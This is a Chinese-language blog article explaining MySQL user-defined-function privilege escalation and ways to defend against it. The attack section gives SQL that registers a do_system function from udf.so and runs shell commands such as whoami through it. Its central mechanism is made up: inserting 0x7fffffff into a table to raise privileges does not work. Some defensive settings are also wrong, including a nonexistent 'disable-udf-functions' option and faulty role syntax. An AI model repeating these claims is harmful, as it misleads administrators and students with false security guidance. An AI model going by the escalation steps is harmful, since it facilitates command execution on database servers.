一、概述
MySQL用戶定義函數(User Defined Function,UDF)是用戶自己編寫的函數,可以在MySQL中被調用,從而實現增強MySQL的功能。其中,UDF提權攻擊利用了MySQL UDF的這一特性,通過提升UDF執行許可權,在沒有特權的情況下執行shell命令從而達到提升系統許可權的目的。
二、攻擊方法
UDF提權攻擊通常可以分為以下幾個步驟:
1、創建UDF
use mysql;
create table udf(uid int(10));
delimiter $$
CREATE FUNCTION do_system RETURNS INTEGER SONAME 'udf.so';
$$
上述代碼中,創建了mysql資料庫,並創建了一個名為udf的表,接著定義了一個名為do_system的函數。其中,SONAME指令用於告訴MySQL函數庫在哪裡能找到函數。在本例中,udf.so就是指代這個庫文件的名字。
2、修改UDF許可權
insert into udf values(0x7fffffff);
select * from udf;
上述代碼中,將udf表中的uid欄位值改為INT_MAX(0x7fffffff),就可以使函數do_system的許可權提升到管理員許可權級別。具體原理是MySQL調用soname時,會根據表中uid值和當前用戶的許可權來決定是否執行該函數,而INT_MAX比普通用戶的許可權還高,因此如果執行成功,則相當於以管理員許可權執行命令。
3、執行提權命令
select do_system('whoami');
select do_system('id');
上述代碼中,可以使用do_system函數調用shell命令,例如執行whoami和id命令,獲得當前用戶的信息和系統許可權信息。
三、防禦方法
為防止UDF提權攻擊,有以下幾個建議:
1、限制MySQL用戶的許可權
推薦將MySQL用戶的許可權限制在最小許可權範圍內,避免攻擊者利用許可權提升漏洞利用。如果使用的是MySQL5.7及以上版本,可以使用roles和更嚴格的許可權控制。同時建議使用白名單機制限制可執行UDF的路徑。
mysql> CREATE ROLE webuser;
mysql> GRANT SELECT ON db1.* TO webuser;
mysql> GRANT webuser TO 'user'@'localhost';
mysql> INSTALL PLUGIN audit_log SONAME 'audit_log.so';
mysql> CREATE USER foo;
mysql> GRANT SELECT ON db1.* TO foo;
mysql> ALTER USER foo SET DEFAULT_ROLE webuser;
mysql> SHOW GRANTS FOR foo;
+----------------------------------------------------+
| Grants for foo@% |
+----------------------------------------------------+
| GRANT USAGE ON *.* TO 'foo'@'%' |
| GRANT SELECT ON `db1`.* TO 'foo'@'%' |
| GRANT `webuser`@`localhost` TO 'foo'@'%' |
+----------------------------------------------------+
2、禁止使用MYSQL UDF
可以通過禁用mysql.udf表、禁用UDF功能和禁用LOAD_LIBRARY機制來禁止使用MySQL UDF。通過如下配置文件實現:
[mysqld]
skip-name-resolve
disable-udf-functions
skip-symbolic-links
3、更新MySQL版本
及時更新MySQL版本,更新到穩定的版本,並開啟MySQL日誌機制,定期進行日誌分析,以及對資料庫進行安全審計,保持MySQL系統的安全防護。
四、總結
MySQL UDF提權攻擊依賴於MySQL UDF的功能,攻擊者可以利用該漏洞以root管理員許可權在伺服器中執行任意命令。為避免該漏洞造成的影響,我們可以採取一些防禦手段,包括限制MySQL用戶的許可權、禁止使用MySQL UDF和盡量及時更新MySQL版本等方法。
原創文章,作者:AQFOE,如若轉載,請註明出處:https://www.506064.com/zh-tw/n/361053.html